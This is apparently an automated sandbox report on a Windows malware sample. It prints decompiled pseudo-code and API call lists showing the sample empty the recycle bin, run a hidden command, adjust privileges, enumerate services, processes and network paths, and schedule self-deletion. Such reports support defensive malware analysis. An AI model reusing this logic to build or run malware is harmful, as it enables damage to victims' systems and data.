              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: InfoSystem
              • String ID:
              • API String ID: 31276548-0
              • Opcode ID: 545f522d01052416792494e1ddf0b16fe9e3904f8e01b95d19f1112743d9b213
              • Instruction ID: 081c5a21083986c36fe65d39b8883666936dde8065d3152cc1d9555bebdad5c2
              • Opcode Fuzzy Hash: 545f522d01052416792494e1ddf0b16fe9e3904f8e01b95d19f1112743d9b213
              • Instruction Fuzzy Hash: 92C04CB5D4420C9B8A04EAE5994989AB7FCE609601F400591ED1993241E621E96486A1
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              APIs
              • VariantInit.OLEAUT32(?), ref: 02352821
              • VariantInit.OLEAUT32(?), ref: 02352827
              • VariantInit.OLEAUT32(?), ref: 0235282D
              • VariantInit.OLEAUT32(?), ref: 02352833
              • VariantInit.OLEAUT32(?), ref: 0235283C
              • VariantInit.OLEAUT32(?), ref: 02352845
              • VariantInit.OLEAUT32(?), ref: 0235284B
              • lstrcmpiW.KERNEL32(?,?), ref: 02352980
              • lstrcmpiW.KERNEL32(?,Running), ref: 02352A11
                • Part of subcall function 02352E57: VariantInit.OLEAUT32(?), ref: 02352E64
                • Part of subcall function 02352E57: SysAllocString.OLEAUT32(?), ref: 02352E8F
                • Part of subcall function 02352E57: VariantClear.OLEAUT32(?), ref: 02352EEA
                • Part of subcall function 02352E57: SysFreeString.OLEAUT32(00000000), ref: 02352EF5
              • VariantClear.OLEAUT32(?), ref: 02352B42
              • VariantClear.OLEAUT32(?), ref: 02352B48
              • VariantClear.OLEAUT32(?), ref: 02352B4E
              • VariantClear.OLEAUT32(?), ref: 02352B54
              • VariantClear.OLEAUT32(?), ref: 02352B5D
              • VariantClear.OLEAUT32(?), ref: 02352B66
              • VariantClear.OLEAUT32(?), ref: 02352B6C
              • SysFreeString.OLEAUT32(00000000), ref: 02352B9F
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Variant$ClearInit$String$Freelstrcmpi$Alloc
              • String ID: Domain$GetOwner$Name$Running$State$User
              • API String ID: 1173459678-1386339017
              • Opcode ID: d1054e8b26827d600c9219d89a888432dfc50f122662ebc63f4118441ada7010
              • Instruction ID: 571c0dc8280b26a0da64d120fe3371f55be3f59b35da65006eacb94ef1a744c0
              • Opcode Fuzzy Hash: d1054e8b26827d600c9219d89a888432dfc50f122662ebc63f4118441ada7010
              • Instruction Fuzzy Hash: 52B11E71E40629AFEB20DFB0CC45FAF777DAF58714F104499FA09EB180E670AA458B61
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID: @
              • API String ID: 0-2766056989
              • Opcode ID: e96ae8a9bf5c48583e77093c80ac3bc9ae56ec560967e49ea4a4cd664bdf00a0
              • Instruction ID: c8bf8fe15eef149e5e23741075bee3942c7c3e392d2f176d3d909df9f278c8c8
              • Opcode Fuzzy Hash: e96ae8a9bf5c48583e77093c80ac3bc9ae56ec560967e49ea4a4cd664bdf00a0
              • Instruction Fuzzy Hash: 10811E71A40229BBEB10DBA5CC89FDFBB7DEF08755F004555FA09EB180D670AA45CBA0
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              C-Code - Quality: 33%
              			E02353FAE() {
              				void* _v8;
              				void* _v12;
              				void* _v16;
              				void* _v20;
              				void* _v24;
              				intOrPtr _v28;
              				short _v30;
              				char _v36;
              				short _v40;
              				char _v60;
              				short _v62;
              				char _v236;
              				short _v238;
              				char _v420;
              				void* _t58;
              				void* _t61;
              				void* _t66;
              				void* _t68;
              				intOrPtr* _t70;
              				void* _t73;
              				intOrPtr _t79;
              				intOrPtr* _t81;
              				intOrPtr* _t83;
              				void* _t94;
              				void* _t100;
              				void* _t101;
              				intOrPtr* _t107;
              				intOrPtr* _t109;
              				intOrPtr* _t111;
              				intOrPtr* _t113;
              				intOrPtr* _t115;
              				intOrPtr* _t120;
              				void* _t125;
              				void* _t131;
              				intOrPtr* _t132;
              				intOrPtr* _t134;
              				intOrPtr* _t137;
              				intOrPtr* _t138;
              				intOrPtr _t144;
              				intOrPtr* _t145;
              				void* _t153;
              				void* _t154;
              				void* _t157;
              				intOrPtr _t160;
              				void* _t162;
              
              				_t58 =  *0x2362590(0, 0); // executed
              				if(_t58 >= 0) {
              					 *0x236282c(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0, _t125); // executed
              					_v12 = 0;
              					_t61 =  *0x23628a8(0x235e168, 0, 1,  &E0235E188,  &_v12); // executed
              					if(_t61 >= 0) {
              						_v8 = 0;
              						E02356595(0x2361278, 0x3d4, 8, 0x14,  &_v60);
              						_v40 = 0;
              						_t66 =  *0x2362648( &_v60, _t153);
              						_t132 = _v12;
              						_t154 = _t66;
              						_t68 =  *((intOrPtr*)( *_t132 + 0xc))(_t132, _t154, 0, 0, 0, 0, 0, 0,  &_v8);
              						 *0x2362718(_t154);
              						if(_t68 < 0) {
              							L7:
              							_t70 = _v12;
              							 *((intOrPtr*)( *_t70 + 8))(_t70);
              							 *0x2362678();
              							_t73 = 1;
              							L12:
              							L13:
              							return _t73;
              						}
              						_push(0);
              						_push(0);
              						_push(3);
              						_push(3);
              						_push(0);
              						_push(0);
              						_push(0xa);
              						_push(_v8);
              						if( *0x23627ac() >= 0) {
              							_v20 = 0;
              							 *0x23628a8(0x235e178, 0, 4, 0x235e128,  &_v20); // executed
              							_t134 = _v8;
              							 *0x2361060 = _t134;
              							 *((intOrPtr*)( *_t134 + 4))(_t134);
              							_t79 =  *0x2361054; // 0x2361040
              							 *((intOrPtr*)(_t79 + 4))(0x2361054);
              							_t81 = _v20;
              							_v24 = 0;
              							 *((intOrPtr*)( *_t81 + 0xc))(_t81, 0x2361054,  &_v24);
              							_t83 = _v24;
              							_v16 = 0;
              							 *((intOrPtr*)( *_t83))(_t83, 0x235e118,  &_v16);
              							E02356595(0x2361278, 0x1109, 7, 6,  &_v36);
              							_v30 = 0;
              							E02356595(0x2361278, 0x5a2, 0xa, 0xae,  &_v236);
              							_v62 = 0;
              							_t160 =  *0x2362648( &_v36);
              							_v28 = _t160;
              							_t94 =  *0x2362648( &_v236);
              							_t137 = _v8;
              							_t131 = _t94;
              							 *((intOrPtr*)( *_t137 + 0x5c))(_t137, _t160, _t131, 0x80, 0, _v16);
              							E02356595(0x2361278, 0x8d3, 0xd, 0xb6,  &_v420);
              							_v238 = 0;
              							_t100 =  *0x2362648( &_v420);
              							_t138 = _v8;
              							_t157 = _t100;
              							_t101 =  *((intOrPtr*)( *_t138 + 0x5c))(_t138, _t160, _t157, 0x80, 0, _v16);
              							 *0x2362718(_v28);
              							 *0x2362718(_t131);
              							 *0x2362718(_t157);
              							if(_t101 >= 0) {
              								WaitForSingleObject(GetCurrentProcess(), 0xffffffff);
              								_t107 = _v8;
              								 *((intOrPtr*)( *_t107 + 0x10))(_t107, _v16);
              								_t162 = 0;
              							} else {
              								_t162 = 1;
              							}
              							_t109 = _v8;
              							 *((intOrPtr*)( *_t109 + 8))(_t109);
              							_t111 = _v12;
              							 *((intOrPtr*)( *_t111 + 8))(_t111);
              							_t113 = _v20;
              							 *((intOrPtr*)( *_t113 + 8))(_t113);
              							_t115 = _v24;
              							 *((intOrPtr*)( *_t115 + 8))(_t115);
              							_t144 =  *0x2361054; // 0x2361040
              							 *((intOrPtr*)(_t144 + 8))(0x2361054);
              							_t145 = _v16;
              							 *((intOrPtr*)( *_t145 + 8))(_t145);
              							 *0x2362678();
              							_t73 = _t162;
              							goto L12;
              						}
              						_t120 = _v8;
              						 *((intOrPtr*)( *_t120 + 8))(_t120);
              						goto L7;
              					}
              					 *0x2362678();
              					_t73 = 1;
              					goto L13;
              				}
              				return 1;
              			}
















































              0x02353fbc
              0x02353fc4
              0x02353fda
              0x02353fe3
              0x02353ff6
              0x02353ffe
              0x02354011
              0x02354023
              0x0235402d
              0x02354035
              0x0235403b
              0x0235403e
              0x0235404e
              0x02354054
              0x0235405c
              0x02354080
              0x02354080
              0x02354086
              0x02354089
              0x0235408f
              0x02354232
              0x02354233
              0x00000000
              0x02354233
              0x02354060
              0x02354061
              0x02354062
              0x02354064
              0x02354066
              0x02354067
              0x02354068
              0x0235406a
              0x02354075
              0x02354099
              0x023540aa
              0x023540b0
              0x023540b3
              0x023540bc
              0x023540bf
              0x023540ca
              0x023540cd
              0x023540d4
              0x023540db
              0x023540de
              0x023540e5
              0x023540f0
              0x02354105
              0x0235410c
              0x02354124
              0x0235412e
              0x0235413c
              0x02354145
              0x02354148
              0x02354151
              0x02354154
              0x02354161
              0x0235417c
              0x02354186
              0x02354194
              0x0235419d
              0x023541a0
              0x023541ae
              0x023541b6
              0x023541bd
              0x023541c4
              0x023541cc
              0x023541db
              0x023541e1
              0x023541ea
              0x023541ed
              0x023541ce
              0x023541d0
              0x023541d0
              0x023541ef
              0x023541f5
              0x023541f8
              0x023541fe
              0x02354201
              0x02354207
              0x0235420a
              0x02354210
              0x02354213
              0x0235421e
              0x02354221
              0x02354227
              0x0235422a
              0x02354230
              0x00000000
              0x02354230
              0x02354077
              0x0235407d
              0x00000000
              0x0235407d
              0x02354000
              0x02354006
              0x00000000
              0x02354006
              0x00000000

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 312e491a4a9060a268af0864c743621117a9d55393345fd6b3e8b70e8f7e55e1
              • Instruction ID: 2e47387cdc6b19650af48cf12ee3ee09b01035f06003d097696d966b6b710cf3
              • Opcode Fuzzy Hash: 312e491a4a9060a268af0864c743621117a9d55393345fd6b3e8b70e8f7e55e1
              • Instruction Fuzzy Hash: C4814E75A40218BFDB10DBA4CC4CE9FBBBCEF49751F108595FA0AE7250DA709A51CBA0
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 190 2354c40-2354c5a GetObjectW 191 2354df0-2354df4 190->191 192 2354c60-2354c72 190->192 193 2354c74-2354c76 192->193 194 2354c78-2354c7e 192->194 195 2354c9e-2354cab 193->195 194->195 196 2354c80-2354c86 194->196 197 2354cac-2354cde LocalAlloc 195->197 196->195 198 2354c88-2354c8e 196->198 199 2354ce7-2354d17 GlobalAlloc 197->199 200 2354ce0-2354ce4 197->200 198->195 201 2354c90-2354c93 198->201 202 2354d1d-2354d34 GetDIBits 199->202 203 2354dee-2354def 199->203 200->199 204 2354c95-2354c99 201->204 205 2354c9b-2354c9d 201->205 202->203 206 2354d3a-2354d57 CreateFileW 202->206 203->191 204->197 205->195 206->203 207 2354d5d-2354da1 WriteFile 206->207 208 2354dc0-2354dc1 207->208 209 2354da3-2354dbe WriteFile 207->209 211 2354dd9-2354ddf call 2355416 208->211 209->208 210 2354dc3-2354dd7 WriteFile 209->210 210->211 212 2354de1-2354de8 call 2355416 GlobalFree 210->212 211->203 212->203
              C-Code - Quality: 77%
              			E02354C40(signed int __edx, void* _a4, struct HDC__* _a8, WCHAR* _a12) {
              				long _v8;
              				intOrPtr _v14;
              				intOrPtr _v18;
              				intOrPtr _v22;
              				void _v24;
              				signed int _v30;
              				signed int _v32;
              				signed short _v40;
              				intOrPtr _v44;
              				char _v48;
              				int _t45;
              				signed int _t48;
              				void* _t57;
              				long _t63;
              				void* _t64;
              				int _t74;
              				int _t78;
              				int _t80;
              				int _t83;
              				void* _t84;
              				signed int _t96;
              				void* _t104;
              				int _t106;
              				void* _t107;
              
              				_t96 = __edx;
              				_push( &_v48);
              				_t106 = 0x18;
              				_t45 = GetObjectW(_a4, _t106, ??);
              				if(_t45 != 0) {
              					_t48 = _v30 * _v32 & 0x0000ffff;
              					if(_t48 != 1) {
              						_t83 = 4;
              						if(_t48 <= _t83) {
              							L9:
              							_push(0x28 + (1 << _t83) * 4);
              							L10:
              							_t107 = LocalAlloc(0x40, ??);
              							 *_t107 = 0x28;
              							 *((intOrPtr*)(_t107 + 4)) = _v44;
              							 *(_t107 + 8) = _v40;
              							 *((short*)(_t107 + 0xc)) = _v32;
              							 *((short*)(_t107 + 0xe)) = _v30;
              							_t57 = 0x18;
              							if(_t83 < _t57) {
              								 *(_t107 + 0x20) = 1 << _t83;
              							}
              							asm("cdq");
              							 *((intOrPtr*)(_t107 + 0x10)) = 0;
              							 *((intOrPtr*)(_t107 + 0x24)) = 0;
              							_t63 = ( *((intOrPtr*)(_t107 + 4)) + 7 + (_t96 & 0x00000007) >> 3) * (_t83 & 0x0000ffff) *  *(_t107 + 8);
              							 *(_t107 + 0x14) = _t63;
              							_t64 = GlobalAlloc(0, _t63); // executed
              							_t84 = _t64;
              							if(_t84 == 0) {
              								L21:
              								return _t64;
              							} else {
              								_t64 = GetDIBits(_a8, _a4, 0,  *(_t107 + 8) & 0x0000ffff, _t84, _t107, 0);
              								if(_t64 == 0) {
              									goto L21;
              								}
              								_t64 = CreateFileW(_a12, 0xc0000000, 0, 0, 2, 0x80, 0); // executed
              								_t104 = _t64;
              								if(_t104 == 0xffffffff) {
              									goto L21;
              								}
              								_v24 = 0x4d42;
              								_v22 =  *_t107 +  *(_t107 + 0x14) +  *(_t107 + 0x20) * 4 + 0xe;
              								_v18 = 0;
              								_v14 =  *_t107 +  *(_t107 + 0x20) * 4 + 0xe;
              								_t74 = WriteFile(_t104,  &_v24, 0xe,  &_v8, 0); // executed
              								if(_t74 == 0) {
              									L17:
              									_push(_t104);
              									L19:
              									_t64 = E02355416();
              									goto L21;
              								}
              								_t78 = WriteFile(_t104, _t107, 0x28 +  *(_t107 + 0x20) * 4,  &_v8, 0); // executed
              								if(_t78 != 0) {
              									_t80 = WriteFile(_t104, _t84,  *(_t107 + 0x14),  &_v8, 0); // executed
              									_push(_t104);
              									if(_t80 != 0) {
              										E02355416();
              										_t64 = GlobalFree(_t84); // executed
              										goto L21;
              									}
              									goto L19;
              								}
              								goto L17;
              							}
              						}
              						_t83 = 8;
              						if(_t48 <= _t83) {
              							goto L9;
              						}
              						_t83 = 0x10;
              						if(_t48 <= _t83) {
              							goto L9;
              						}
              						if(_t48 > _t106) {
              							_t83 = 0x20;
              							goto L9;
              						}
              						_t83 = _t106;
              						_push(0x28);
              						goto L10;
              					}
              					_t83 = 1;
              					goto L9;
              				}
              				return _t45;
              			}



























              0x02354c40
              0x02354c4a
              0x02354c4d
              0x02354c52
              0x02354c5a
              0x02354c6c
              0x02354c72
              0x02354c7a
              0x02354c7e
              0x02354c9e
              0x02354cab
              0x02354cac
              0x02354cb4
              0x02354cb8
              0x02354cc1
              0x02354cc7
              0x02354cce
              0x02354cd6
              0x02354cda
              0x02354cde
              0x02354ce4
              0x02354ce4
              0x02354cf2
              0x02354cf6
              0x02354cfb
              0x02354d04
              0x02354d0a
              0x02354d0d
              0x02354d13
              0x02354d17
              0x02354dee
              0x00000000
              0x02354d1d
              0x02354d2c
              0x02354d34
              0x00000000
              0x00000000
              0x02354d4c
              0x02354d52
              0x02354d57
              0x00000000
              0x00000000
              0x02354d62
              0x02354d78
              0x02354d7d
              0x02354d8b
              0x02354d99
              0x02354da1
              0x02354dc0
              0x02354dc0
              0x02354dd9
              0x02354dd9
              0x00000000
              0x02354dde
              0x02354db6
              0x02354dbe
              0x02354dce
              0x02354dd4
              0x02354dd7
              0x02354de1
              0x02354de8
              0x00000000
              0x02354de8
              0x00000000
              0x02354dd7
              0x00000000
              0x02354dbe
              0x02354d17
              0x02354c82
              0x02354c86
              0x00000000
              0x00000000
              0x02354c8a
              0x02354c8e
              0x00000000
              0x00000000
              0x02354c93
              0x02354c9d
              0x00000000
              0x02354c9d
              0x02354c95
              0x02354c97
              0x00000000
              0x02354c97
              0x02354c74
              0x00000000
              0x02354c74
              0x02354df4

              APIs
              • GetObjectW.GDI32(?,00000018,?,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354C52
              • LocalAlloc.KERNEL32(00000040,00000001,00000000,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354CAE
              • GlobalAlloc.KERNELBASE(00000000,?,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354D0D
              • GetDIBits.GDI32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02354D2C
              • CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354D4C
              • WriteFile.KERNELBASE(00000000,?,0000000E,?,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354D99
              • WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354DB6
              • WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,?,?,?,?,?,023550CA,?,00000000,00000000), ref: 02354DCE
              • GlobalFree.KERNEL32(00000000), ref: 02354DE8
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: File$Write$AllocGlobal$BitsCreateFreeLocalObject
              • String ID:
              • API String ID: 351847640-0
              • Opcode ID: ee68f540f7a93be19a7f8fbc12e85b7aacbef24df803d925ca62ad7c398698db
              • Instruction ID: 61ed838a47f243f75d0093f7440ef225b387e3f2b53aaa3f6421eed05d53bdb2
              • Opcode Fuzzy Hash: ee68f540f7a93be19a7f8fbc12e85b7aacbef24df803d925ca62ad7c398698db
              • Instruction Fuzzy Hash: 26519FB5600219ABD7249F65DC48FABB7FCEF89710F00841AFA89D7680E770E955CB60
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              C-Code - Quality: 63%
              			E02353DB7(void* __ecx, void* __edi, void* __eflags) {
              				char _v8;
              				char _v12;
              				char _v88;
              				void* __ebx;
              				void* _t16;
              				WCHAR* _t20;
              				void* _t25;
              				void* _t29;
              				void* _t32;
              				void* _t33;
              				void* _t34;
              				WCHAR* _t39;
              				void* _t40;
              				intOrPtr* _t41;
              				intOrPtr _t44;
              				intOrPtr _t46;
              				intOrPtr _t47;
              				intOrPtr _t48;
              
              				_t32 = __ecx;
              				 *0x2362870(0, 0, 7); // executed
              				SetPriorityClass(GetCurrentProcess(), 0x8000); // executed
              				 *0x23627a0();
              				E02356595(0x2361278, 0xfca, 5, 0x4c,  &_v88);
              				_t41 = _t40 + 0x14;
              				_v12 = 0;
              				WinExec( &_v88, 0); // executed
              				E023530C5(__edi);
              				E02357C36(_t32, 0x14); // executed
              				_t33 = 0x80000001;
              				_t44 =  *0x23635d0; // 0x1
              				if(_t44 != 0) {
              					_t25 = CreateThread(0, 0, E02353FAE, 0, 0, 0); // executed
              					E02355416(_t25); // executed
              					E0235423B(); // executed
              					 *_t41 = E0235317F;
              					_push(0);
              					_push(0); // executed
              					E02355B1F(); // executed
              					_t41 = _t41 + 0xc;
              					_t29 = CreateThread(0, 0, E02352BB5, 0, 0, 0); // executed
              					E02355416(_t29);
              					_pop(_t33);
              				}
              				E02357C36(_t33, 9); // executed
              				_pop(_t34); // executed
              				_t16 = E023538F7(); // executed
              				if(_t16 != 0) {
              					_t46 =  *0x23635cc; // 0x0
              					if(_t46 == 0) {
              						E02354EFA();
              						_t47 =  *0x23635cc; // 0x0
              						if(_t47 == 0) {
              							_t48 =  *0x23635b0; // 0x0
              							if(_t48 != 0) {
              								E023565B7(_t34, _t48,  *0x2363518, 0x3b, 0, E023531C0);
              							}
              						}
              					}
              				}
              				 *0x23627a0(0x80000000); // executed
              				E02351428(0); // executed
              				_t20 = E02355718(0,  &_v8);
              				_t39 = _t20;
              				if(_t39 == 0) {
              					return _t20;
              				}
              				MoveFileExW(_t39, 0, 4); // executed
              				return E023551C1(_t39);
              			}





















              0x02353db7
              0x02353dc5
              0x02353dd6
              0x02353de1
              0x02353df9
              0x02353dfe
              0x02353e01
              0x02353e09
              0x02353e0f
              0x02353e16
              0x02353e1b
              0x02353e1c
              0x02353e22
              0x02353e2e
              0x02353e35
              0x02353e3a
              0x02353e3f
              0x02353e46
              0x02353e47
              0x02353e48
              0x02353e4d
              0x02353e5a
              0x02353e61
              0x02353e66
              0x02353e66
              0x02353e69
              0x02353e6e
              0x02353e6f
              0x02353e76
              0x02353e78
              0x02353e7e
              0x02353e80
              0x02353e85
              0x02353e8b
              0x02353e8d
              0x02353e93
              0x02353ea3
              0x02353ea8
              0x02353e93
              0x02353e8b
              0x02353e7e
              0x02353eb0
              0x02353eb6
              0x02353ec0
              0x02353ec5
              0x02353ecb
              0x02353ee3
              0x02353ee3
              0x02353ed1
              0x00000000

              APIs
              • SHEmptyRecycleBinW.SHELL32(00000000,00000000,00000007), ref: 02353DC5
              • GetCurrentProcess.KERNEL32(00008000), ref: 02353DD0
              • SetPriorityClass.KERNELBASE(00000000,00008000), ref: 02353DD6
              • SetThreadExecutionState.KERNEL32(80000001), ref: 02353DE1
              • WinExec.KERNEL32(?,00000000), ref: 02353E09
                • Part of subcall function 02357C36: RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000001,?), ref: 02357C49
                • Part of subcall function 02357C36: RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000000,00000000), ref: 02357C65
              • CreateThread.KERNELBASE(00000000,00000000,02353FAE,00000000,00000000,00000000), ref: 02353E2E
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
                • Part of subcall function 0235423B: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,02353E3F,00000000,00000000,?,?,?,?,?,02353E3F), ref: 0235426B
                • Part of subcall function 0235423B: RtlGetLastWin32Error.NTDLL ref: 02354275
                • Part of subcall function 02355B1F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02355B2F
              • CreateThread.KERNELBASE(00000000,00000000,02352BB5,00000000,00000000,00000000), ref: 02353E5A
              • SetThreadExecutionState.KERNEL32(80000000), ref: 02353EB0
              • MoveFileExW.KERNELBASE(00000000,00000000,00000004), ref: 02353ED1
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Thread$Create$AdjustExecutionPrivilegeState$ClassCloseCurrentEmptyEnumErrorExecFileHandleLastMovePriorityProcessRecycleServicesSnapshotStatusToolhelp32Win32
              • String ID:
              • API String ID: 1420663820-0
              • Opcode ID: 61bbde81c068b5ed9f3d4c9ebe293844a4f66b00df5e9edc93e8458216f94fd1
              • Instruction ID: d94c58e26aca94eb18fe29947695dd747e4a1c03111a33a07a5a1530127c049d
              • Opcode Fuzzy Hash: 61bbde81c068b5ed9f3d4c9ebe293844a4f66b00df5e9edc93e8458216f94fd1
              • Instruction Fuzzy Hash: 4E2153F29842297EF6307BB09C8EE2B366DEB04B89F414859FE0D66081DB755D118E71
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 255 23538f7-235390d 256 23539b0-23539e3 call 2357f01 255->256 257 2353913-2353921 call 2355438 255->257 262 2353923-2353925 256->262 263 23539e9-2353a23 256->263 257->262 264 235392a-235392e 257->264 267 2353b69-2353b6f 262->267 265 2353b07-2353b0d 263->265 266 2353a29-2353a3a PathRemoveBackslashW PathIsDirectoryW 263->266 268 2353930-2353938 call 235542a 264->268 269 235393d-235395b 264->269 271 2353b0f-2353b13 call 2358482 265->271 272 2353b19-2353b1f 265->272 275 2353a3c-2353a55 PathAddBackslashW call 2358122 call 23551c1 266->275 276 2353a5a-2353a62 PathIsNetworkPathW 266->276 284 2353b68 268->284 273 2353967-2353976 call 2355174 269->273 274 235395d-2353965 269->274 285 2353b18 271->285 279 2353b21-2353b25 call 23586e6 272->279 280 2353b2a-2353b32 272->280 273->268 291 2353978-235399e call 235695a call 235542a call 2356a03 273->291 274->262 274->273 275->280 276->262 283 2353a68-2353a81 276->283 279->280 288 2353b54-2353b5d call 2357e44 280->288 289 2353b34 280->289 283->262 301 2353a87-2353aa8 PathAddBackslashW call 2355174 283->301 284->267 285->272 297 2353b62-2353b65 288->297 292 2353b36-2353b46 call 2355fc7 289->292 293 2353b4a-2353b52 289->293 291->256 318 23539a0-23539a3 291->318 307 2353b48 292->307 293->288 293->292 297->284 308 2353afc-2353b05 301->308 309 2353aaa-2353aae 301->309 307->288 307->293 308->280 311 2353af1-2353afa 309->311 312 2353ab0-2353aee call 2356878 PathAddBackslashW call 2356878 PathAddBackslashW call 2358122 call 23551fb 309->312 311->308 311->309 312->311 320 23539a5-23539aa 318->320 321 23539ac 318->321 320->256 321->256
              C-Code - Quality: 83%
              			E023538F7() {
              				WCHAR* _v8;
              				intOrPtr _v12;
              				void* _v16;
              				char _v20;
              				char _v24;
              				char _v36;
              				intOrPtr _v40;
              				intOrPtr _v44;
              				WCHAR* _v48;
              				WCHAR* _v52;
              				WCHAR* _v56;
              				WCHAR* _v60;
              				char* _v68;
              				WCHAR* _v72;
              				intOrPtr _v76;
              				intOrPtr _v80;
              				char _v84;
              				WCHAR* _t48;
              				intOrPtr _t51;
              				void* _t53;
              				WCHAR* _t60;
              				WCHAR* _t61;
              				WCHAR* _t65;
              				WCHAR* _t67;
              				intOrPtr _t68;
              				intOrPtr _t83;
              				signed int _t89;
              				intOrPtr* _t91;
              				signed int _t92;
              				WCHAR* _t98;
              				WCHAR* _t104;
              				void* _t107;
              				short _t108;
              				void* _t110;
              				WCHAR* _t111;
              				WCHAR* _t114;
              				void* _t115;
              				void* _t116;
              				WCHAR* _t118;
              
              				_t110 = 1;
              				_t114 = 0;
              				_t118 =  *0x23635cc; // 0x0
              				if(_t118 == 0) {
              					L12:
              					 *0x2363048 = 0;
              					 *0x236304c = 0;
              					 *0x2363050 = 0;
              					 *0x2363054 = 0;
              					 *0x2363044 = 0; // executed
              					_t48 = E02357F01(__eflags,  &_v36, 0, 0, E02353B70); // executed
              					_t116 = _t115 + 0x10;
              					__eflags = _t48;
              					if(_t48 == 0) {
              						L2:
              						return 0;
              					}
              					_v84 = 0;
              					_v80 = E0235337C;
              					_v76 = E02353F4C;
              					_v72 = 0;
              					_v68 =  &_v36;
              					_v60 = 0;
              					_v56 = 0;
              					_v52 = 0;
              					_v48 = 0;
              					_v44 = E02353338;
              					_v40 = E02353EE4;
              					__eflags =  *0x23635cc; // 0x0
              					if(__eflags == 0) {
              						__eflags =  *0x23635c8; // 0x1
              						if(__eflags != 0) {
              							E02358482(_t92, __eflags,  &_v84); // executed
              							_pop(_t92);
